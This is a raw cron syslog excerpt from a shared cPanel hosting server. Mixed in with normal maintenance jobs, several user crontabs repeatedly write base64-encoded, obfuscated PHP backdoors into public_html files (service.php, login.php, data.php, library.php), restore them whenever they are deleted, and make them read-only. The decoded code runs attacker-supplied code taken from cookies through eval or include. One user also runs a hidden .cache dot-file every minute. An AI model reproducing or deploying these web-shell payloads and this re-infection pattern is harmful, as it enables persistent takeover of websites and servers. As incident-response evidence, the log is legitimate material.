Mar  1 08:10:02 medusa CROND[1923]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:10:02 medusa CROND[1929]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:10:02 medusa CROND[1907]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  1 08:10:02 medusa CROND[1938]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:10:02 medusa CROND[1939]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 08:10:02 medusa CROND[1941]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:10:02 medusa CROND[1940]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  1 08:10:02 medusa CROND[1935]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 08:10:02 medusa CROND[1926]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 08:11:01 medusa CROND[23039]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:11:01 medusa CROND[23071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 08:11:01 medusa CROND[23116]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 08:11:01 medusa CROND[23179]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:11:01 medusa CROND[23181]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:11:01 medusa CROND[23182]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:11:01 medusa CROND[23184]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:11:01 medusa CROND[23185]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:11:01 medusa CROND[23186]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:11:01 medusa CROND[23189]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:11:01 medusa CROND[23191]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:11:01 medusa CROND[23192]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 08:11:01 medusa CROND[23200]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 08:12:02 medusa CROND[12564]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 08:12:02 medusa CROND[12565]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 08:12:02 medusa CROND[12567]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 08:12:02 medusa CROND[12566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 08:12:02 medusa CROND[12568]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:12:02 medusa CROND[12577]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 08:12:02 medusa CROND[12578]: (revistaenergiaco) CMD (cd /home3/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 08:12:02 medusa CROND[12579]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 08:12:02 medusa CROND[12580]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 08:12:02 medusa CROND[12581]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
